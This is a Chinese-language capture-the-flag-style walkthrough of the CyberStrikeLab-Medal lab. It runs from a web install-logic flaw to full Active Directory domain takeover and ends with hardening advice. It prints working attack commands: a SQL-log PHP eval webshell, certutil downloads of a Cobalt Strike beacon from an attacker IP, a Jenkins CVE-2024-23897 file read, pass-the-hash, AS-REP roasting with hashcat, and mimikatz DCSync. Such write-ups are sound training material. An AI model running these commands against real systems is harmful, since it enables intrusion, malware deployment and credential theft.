CyberStrikeLab-Medal:从 0day 审计到域控权限的全链路渗透复盘
字数 4181
更新时间 2026-03-23 16:22:24

渗透测试实战教学:从源码审计到域控权限获取

0x00 前言

本文档旨在通过对一个名为“CyberStrikeLab-Medal”的实战靶场进行全流程复现,系统性地讲解一个完整的渗透测试攻击链。攻击路径从Web源码审计开始,经过内网横向移动,最终获取域控权限。整个过程涉及多个关键攻击面和技术要点,是学习企业内网渗透的绝佳案例。

0x01 环境拓扑

攻击者位于外网,目标网络包含多个网段。主要目标包括:

  • 边界Web服务器: 172.50.66.15
  • 内网Jenkins服务器: 172.50.66.42
  • 域内主机: 10.0.0.66
  • 域控制器 (DC): 10.0.0.3
    攻击目标是从外部网络逐步渗透,最终控制整个域环境。

0x02 初始访问:源码审计与Web边界突破

2.1 资产发现与源码获取

渗透的第一步是信息收集。通过对目标Web系统进行目录扫描,发现了其配套的源码压缩包。获取源码是后续进行代码审计和发现0day漏洞的关键。

2.2 源码审计与0day发现

通过对系统安装逻辑(特别是install模块)的审计,发现了一个关键逻辑缺陷:系统未对已完成安装的状态进行严格的“重装锁定”检查。这意味着攻击者可以绕过安装完成后的锁定机制,重新触发安装流程。

实战操作
编写自动化脚本,利用安装逻辑的重置功能,强行重置或创建新的后台管理员账户,从而获得Web应用的后台管理权限。

2.3 后台利用与权限提升

  1. 后台SQL注入:进入后台后,在“数据库执行”模块发现可以直接执行原始SQL语句。为了进一步获取系统权限,首先需要探测MySQL数据库的文件写入权限。
  2. 信息收集:使用报错注入快速获取数据库用户等信息。使用的Payload示例:
    SELECT 1 AND (EXTRACTVALUE(1, CONCAT(0x7e, USER(), 0x7e)));
    
  3. 日志注入Getshell:当发现into outfile直接写入被限制时,采用MySQL日志写Webshell的方法。
    • 开启全局日志:SET GLOBAL general_log = 'ON';
    • 更改日志文件路径到Web目录:SET GLOBAL general_log_file = 'C:/phpStudy/WWW/shell.php';
    • 通过执行SQL语句将Webshell代码写入日志文件:SELECT '<?php @eval(end($_GET));?>';
    • 访问写入的日志文件(现在已成为Webshell)即可执行命令。

2.4 免杀与持久化

  1. WAF/杀软绕过:使用end($_GET)而非$_GET[‘x’]$_POST[‘x’]来执行代码。end($_GET)会取URL中最后一个参数的值作为代码执行,隐蔽性更强,可绕过部分基于简单正则匹配的防护。
  2. 载荷投递:使用certutil.exe-urlcache参数下载文件,该参数可清理下载缓存,减少溯源风险。命令示例:
    certutil.exe -urlcache -split -f http://攻击者IP/beacon.exe beacon.exe
    
  3. 上线Cobalt Strike (CS):通过Webshell执行下载的命令,将免杀后的CS Beacon或哥斯拉Webshell马下载到目标服务器并执行,成功建立第一个C2通道。

2.5 权限维持与信息收集

  • 在已控制的第一台主机(172.50.66.15)上,通过CS的hashdumpmimikatz模块抓取本地管理员用户的NTLM Hash。
  • 利用获取的Hash(例如Administrator:aad3b435b51404eeaad3b435b51404ee:5924d91918dabd39c976eb8620d54f9f),通过wmiexec.py等工具进行哈希传递攻击(Pass-the-Hash, PtH),获取该主机的系统权限。
  • 在控制的主机上进行内网信息收集(如ipconfig /all, net view),发现同网段存在另一台主机:172.50.66.42(Jenkins服务器)。

0x03 内网横向:Jenkins漏洞利用与提权

3.1 Jenkins任意文件读取漏洞 (CVE-2024-23897)

  • 漏洞描述:受影响版本的Jenkins CLI接口,在解析命令参数时,如果参数以@字符开头,会将其后的内容视为文件路径并读取其内容。这导致了服务器上的任意文件读取漏洞。
  • 利用步骤
    1. 从Jenkins服务器下载CLI客户端:wget http://172.50.66.42:8080/jnlpJars/jenkins-cli.jar
    2. 利用漏洞读取敏感文件(如flag):java -jar jenkins-cli.jar -s http://172.50.66.42:8080 -http help 1 "@C:\flag.txt"

3.2 权限提升:从服务账户到SYSTEM

  • 上线CS:通过Jenkins的“脚本命令行”(Groovy Script Console)功能执行系统命令,下载并执行CS Beacon,将Jenkins服务器上线。命令示例:
    "certutil -urlcache -split -f http://攻击者IP/beacon2.exe beacon2.exe".execute()
    
  • 提权操作:Jenkins服务默认以本地服务账户(如LOCAL SERVICE)权限运行。为了获取更高权限(如抓取哈希),需要提权至SYSTEM
  • 烂土豆提权:使用“烂土豆”(Rotten Potato)或“多汁土豆”(Juicy Potato)进行提权。其原理是滥用Windows的BITS服务,通过模拟NT AUTHORITY\SYSTEM令牌来提升权限。在CS中,可以直接使用内置的提权插件(如elevate)运行对应的提权模块。
  • 获取凭证:提权成功后,使用hashdumpmimikatz抓取该主机(172.50.66.42)上本地管理员和系统服务的哈希。在信息收集中,发现域名:cyberstrikelab.com

0x04 跨网段渗透:凭据搜集与横向移动

4.1 用户枚举与RID爆破

利用已获取的凭据(密码或哈希),开始对域内主机(10.0.0.66)进行探测。

  • 在没有高权限域账号时,可以利用Guest等低权限账户,使用工具(如NetExec, nxc)进行RID爆破,以枚举目标主机上的本地用户和组。
    nxc smb 10.0.0.66 -u guest -p '' --rid-brute
    
  • 此举可以帮助确认关键用户(如Administrator的SID为500)和用户组结构。

4.2 凭据复用与登录

  1. 凭据发现:在之前控制的机器上,通过搜索配置文件、注册表、内存或共享目录,发现了密码cs1ab@aeun
  2. 本地认证尝试:尝试使用此密码对目标主机(10.0.0.66)的本地管理员账户进行认证。
    nxc smb 10.0.0.66 -u Administrator -p 'cs1ab@aeun' --local-auth
    
  3. 获取访问权限:认证成功后,使用evil-winrm等工具登录该主机。
    evil-winrm -u administrator -p cs1ab@aeun -i 10.0.0.66
    
  4. 进一步信息收集:在新控制的主机上,继续搜集信息,可能发现新的域用户凭据(例如用户cslab的密码cs1ab@aq)。

0x05 攻陷域控:Kerberos协议攻击

5.1 AS-REP Roasting攻击原理

这是针对Kerberos协议的一种攻击。在Active Directory中,如果某个用户账户设置了“不需要Kerberos预身份验证”(Do not require Kerberos preauthentication)属性,攻击者就可以直接向域控制器(KDC)为该用户请求TGT(票据授予票据),而KDC会返回一段用该用户密码哈希加密的数据。攻击者可以截获这段响应,并对其进行离线暴力破解,从而获得该用户的明文密码。

5.2 攻击实施步骤

  1. 发现目标用户:使用已获得的域账户(如cslab)枚举域内用户,并查找设置了“不需要预身份验证”属性的账户。在本案例中,发现用户zhangsan存在此配置缺陷。
    nxc ldap 10.0.0.3 -u cslab -p 'cs1ab@aq' --asreproast
    
  2. 请求哈希:利用工具(如nxc--asreproast参数或GetNPUsers.py)请求该用户的AS-REP响应,提取出可用于离线破解的哈希值($krb5asrep格式)。
  3. 离线破解:使用hashcatjohn工具,配合强大的密码字典,对获取的哈希进行离线爆破。
    hashcat -m 18200 hash.txt rockyou.txt
    
    成功破解出用户zhangsan的密码为Admin@123

5.3 获取域控权限

  1. 权限验证:使用破解得到的密码Admin@123,以域用户zhangsan的身份登录域内主机,发现该用户具有高权限(例如是Domain Admins组成员)。
  2. 导出域哈希:利用高权限域账户,可以通过DCSync攻击或直接在域控制器上运行mimikatz,导出域内所有用户的哈希(NTDS.dit)。
    # 在已控的域成员主机上使用mimikatz执行DCSync
    lsadump::dcsync /domain:cyberstrikelab.com /all
    
  3. 登录域控:使用获取的域管理员凭据,通过evil-winrmpsexecwmiexec等工具直接登录域控制器(10.0.0.3),最终获取域环境的完全控制权。

0x06 技术总结与防御建议

攻击链条复盘

  1. 边界突破:源码审计发现逻辑0day,是进入内网最稳妥的入口之一。
  2. 权限维持:灵活运用Webshell写法、系统工具(certutil)和免杀技术绕过防护。
  3. 内网横向:利用已知漏洞(CVE-2024-23897)、凭据复用和协议弱点(Kerberos)层层递进。
  4. 域控攻陷:配置疏忽(无需预身份验证)是导致域沦陷的关键。

防御加固建议

  • 应用层
    • 删除生产环境的Web安装目录、调试页面和源码包。
    • 对后台等敏感功能进行严格的权限控制和操作审计。
    • 避免在Web应用中提供直接执行原生SQL的功能。
  • 系统层
    • 遵循最小权限原则,为服务分配所需的最低权限。
    • 及时修补公开的高危漏洞(如Jenkins CVE-2024-23897)。
    • 部署终端检测与响应(EDR)系统,监控certutilrundll32等合法工具的异常调用。
  • 域环境
    • 在所有域用户账户上禁用“不需要Kerberos预身份验证”选项。可通过组策略或PowerShell命令(Set-ADAccountControl)统一配置。
    • 强制使用强密码策略,并定期更换密码,降低AS-REP Roasting等离线破解的成功率。
    • 实施多因素认证(MFA),尤其对特权账户。
    • 严格限制域管理员组的成员数量,并对其登录行为进行高等级监控和审计。
相似文章
相似文章
 全屏